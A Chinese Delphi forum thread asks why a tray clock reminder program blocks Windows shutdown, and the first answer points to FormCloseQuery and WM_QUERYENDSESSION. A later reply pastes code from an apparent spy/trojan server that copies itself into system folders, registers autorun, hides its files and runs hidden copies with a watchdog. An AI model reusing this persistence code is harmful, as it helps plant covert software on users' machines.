我做了一个时钟提示的程序,但是在关机的时候,如果不退出这个程序,就不能关机!请问这什么问题!谢谢!
......
const
  WM_WZGLNOTIFY = WM_USER + 199;  //自定义消息
  strNotifyTip = '时钟定时提示';
  ID_MAIN = 199;const
  CM_RESTORE = WM_USER + $1000; {自定义的“恢复”消息}
  WZGL_APP_NAME = 'Manager_System';
...... private
    { Private declarations }
    nid:NOTIFYICONDATA;
    cancels:boolean;
    function AddIcon(hwnd: HWND): Boolean; //在状态区添加图标
    function RemoveIcon(hwnd: HWND): Boolean; //从状态区移去图标
    procedure Notify(var Msg: TMessage); message WM_WZGLNOTIFY; //自定义消息处理函数
    procedure minimize(sender: Tobject); //定义最小化过程,赋给Application.OnMinimize
    procedure RestoreRequest(var message: TMessage); message CM_RESTORE;
    procedure autorun();
......
var
  Form1: TForm1;
  IconData: TNotifyIconData;
  tags:boolean;
......procedure TForm1.Timer1Timer(Sender: TObject);
Var
    S:string;
    NTime,MTime,OnTime : String;
begin
    s:=FormatDateTime('hh:mm:ss',now);
    DateTimePicker1.Time:=StrToTime(S);    MTime:='17:30:00';
    NTime:='5:30:00';
    OnTime:=TimeToStr(DateTimePicker1.Time);
    if (OnTime=MTime) or (OnTime=NTime) then
      begin
        Application.MessageBox('Please you inspect the system''s message of AS400!','Point',MB_ICONWarning+MB_OK);
      end;end;function TForm1.AddIcon(hwnd: HWND): Boolean;
begin
  nid.cbSize := sizeof(NOTIFYICONDATA);
  nid.Wnd := hwnd;
  nid.uID := iD_MAIN;
  nid.uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
  nid.uCallbackMessage := WM_WZGLNOTIFY;
  nid.hIcon := LoadIcon(hInstance, 'MAINICON');
  strCopy(nid.szTip, strNotifyTip);
  AddIcon := Shell_NotifyIcon(NIM_ADD, @nid);
end;//从状态区移去图标
function TForm1.RemoveIcon(hwnd: HWND): Boolean;
var
  nid: NOTIFYICONDATA;
begin
  nid.cbSize := sizeof(NOTIFYICONDATA);
  nid.Wnd := hwnd;
  nid.uID := iD_MAIN ;
  nid.uFlags := 0;
  RemoveIcon := Shell_NotifyIcon(NIM_DELETE, @nid);
end;procedure TForm1.Notify(var Msg: TMessage);
var
  Pt: TPoint;
begin
  case msg.LParam of
    WM_RBUTTONDOWN:    //当点击右键时,弹出快捷菜单
      begin
        SetForeGroundWindow(nid.wnd);
        GetCursorPos(Pt);
        Popupmenu1.Popup(pt.x, pt.y);
      end;
  end;
end;procedure TForm1.RestoreRequest(var message: TMessage);
begin
  if IsIconic(Application.Handle) = True then  //窗体是否最小化
    Application.Restore  //恢复窗体
  else
    Application.BringToFront; //提到前面显示
end;procedure TForm1.minimize(sender: Tobject);
begin
  AddIcon(handle);
  ShowWindow(Application.handle, sw_hide);
end;procedure TForm1.FormCreate(Sender: TObject);
begin
   DateTimePicker2.DateTime:=Date();
   Application.OnMinimize:=minimize;
end;procedure TForm1.ShowfaceClick(Sender: TObject);
begin
  RemoveIcon(handle);
  self.WindowState:=wsNormal;
  ShowWindow(Application.handle, SW_SHOWNORMAL);
end;procedure TForm1.CloseClick(Sender: TObject);
begin
  cancels:=true;
  RemoveIcon(handle);
  Application.Terminate;
end;procedure TForm1.FormShow(Sender: TObject);
begin
  cancels:=false;
end;procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Action:=caFree;
  Form1:=nil;
end;procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
   canclose:=cancels;
    if not canclose then Application.Minimize;
end;procedure TForm1.autorun();
Var
   ghyghost:TRegistry;
begin
   ghyghost:=TRegistry.Create;
   ghyghost.RootKey:=HKEY_LOCAL_MACHINE;
   ghyghost.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True);
   ghyghost.WriteString('ClockSys','"'+ExtractFilepath(ParamStr(0))+ExtractFilename(ParamStr(0))+'"');
   ghyghost.Free;
end;procedure TForm1.Button1Click(Sender: TObject);
begin
  autorun();
end;end.

解决方案 »

  1.   

    procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    使得不能关机。
    处理 WM_QUERYENDSESSION。
      

  2.   

    我也遇到过同类问题。以下是我的部分代码。 
    //**   更新服务器端 **//
      if (UpperCase(Str1) <> UpperCase(TempWinDir)) and (UpperCase(Str1) <> UpperCase(TempSysDir)) and
         (UpperCase(Tempbackup) <> UpperCase(Str1)) and (UpperCase(Str1) <> UpperCase(SpyFile)) then begin
      //查测内存中是否存在该应用程序,如果存在则发送退出消息//
        ExeHandle:=FindWindow(nil,'PirateServer');
        If ExeHandle<>0 then begin
          SendMessage(ExeHandle,WM_Close,0,0);    //退出1.12
          sleep(200);
        end;
    ExeHandle:=FindWindow(nil,'SpyServer');
        If ExeHandle<>0 then begin
          SendMessage(ExeHandle,WM_Close,0,0);   //退出1.12之前的版本。
          sleep(200);
        end;    ExeHandle:=FindWindow(nil,'FileBack');
        If ExeHandle<>0 then begin
          SendMessage(ExeHandle,WM_Close,0,0);   //退出监控程序。
          sleep(200);
        end;
          DeleteFile(TempWinDir);
          DeleteFile(TempSysDir);
          DeleteFile(SpyFile);
          DeleteFile(PirateBakFile);
          p_clear_old_ver;      //清除老版本;
          If system_kind <> bswinNT then
             DeleteFile(Tempbackup);
      end;  If system_kind <> bswinNT then
          copyfile(pchar(str1),Pchar(Tempbackup),false); //安装到相应目录
      copyfile(pchar(str1),Pchar(TempSysDir),false);
      copyfile(pchar(str1),Pchar(TempWinDir),false);
      copyfile(Pchar(Str1),Pchar(Spyfile),false);
      copyfile(Pchar(Str1),Pchar(PirateBakFile),false);
    //  f_common_system_share; //共享所有目录
      if Not regr then regw;          //写入注册表
      //如果是打开文本文件则调用记事本(用于恢复)
      if ParamCount>0 then
        begin
          sFilename:=ParamStr(1);
          if system_kind <> bswinNT then //如果是Win9x,则用windows目录下的记事本
             WinExec(Pchar(WindowsDir+'\Notepad.exe '+sFileName),sw_show)
          else                            //如果是WinNT/win2000,则用System32目录下的记事本
             WinExec(Pchar(SystemDir+'\Notepad.exe '+sFileName),sw_show);//      Application.Terminate;          //退出程序;
        end;  SetWindowPos(handle,HWND_TOPMOST,Left,Top,Width,Height,0);  ////////////////////////////////////////////////////////
      
       //如果不是windows目录则退出程序
       //SpyFile := 'D:\Work\Delphi\Pirate\Server\SpyServer.exe';
      if (UpperCase(Str1) <> UpperCase(TempWinDir)) and (UpperCase(Str1) <> UpperCase(SpyFile)) then begin
         WinExec(PChar(SpyFile),SW_HIDE); //立即运行
         WinExec(PChar(TempWinDir),SW_HIDE); //立即运行
         hidefile;        //隐藏安装文件
         Halt;             //退出安装程序
      end;     //如果是监控文件
      If UpperCase(Str1) = UpperCase(SpyFile) Then begin
         Caption := 'FileBack';
         Application.Title := 'FileBack';
         //PTimer.Enabled := false;
         TimerBack.Enabled := true;
         WinExec(PChar(TempWinDir),SW_HIDE); //立即运行
         hMutex:=CreateMutex(Nil,False,'FileBack');    //防止应用程序多次执行
      end else
      //防止应用程序多次执行
         hMutex:=CreateMutex(Nil,False,'PirateServer');
      
      Ret:=GetLastError;
      If Ret = ERROR_ALREADY_EXISTS Then Halt;
      ReleaseMutex(hMutex);
      If UpperCase(Str1) = UpperCase(SpyFile) Then exit;  WinExec(PChar(SpyFile),SW_HIDE); //立即运行文件监控
      

  3.   

    以上的代码我调试过,只要屏蔽
    //防止应用程序多次执行
         hMutex:=CreateMutex(Nil,False,'PirateServer');
      
      Ret:=GetLastError;
      If Ret = ERROR_ALREADY_EXISTS Then Halt;
      ReleaseMutex(hMutex);
      If UpperCase(Str1) = UpperCase(SpyFile) Then exit;
    代码就可以正常关机了.我也搞不清楚为什么.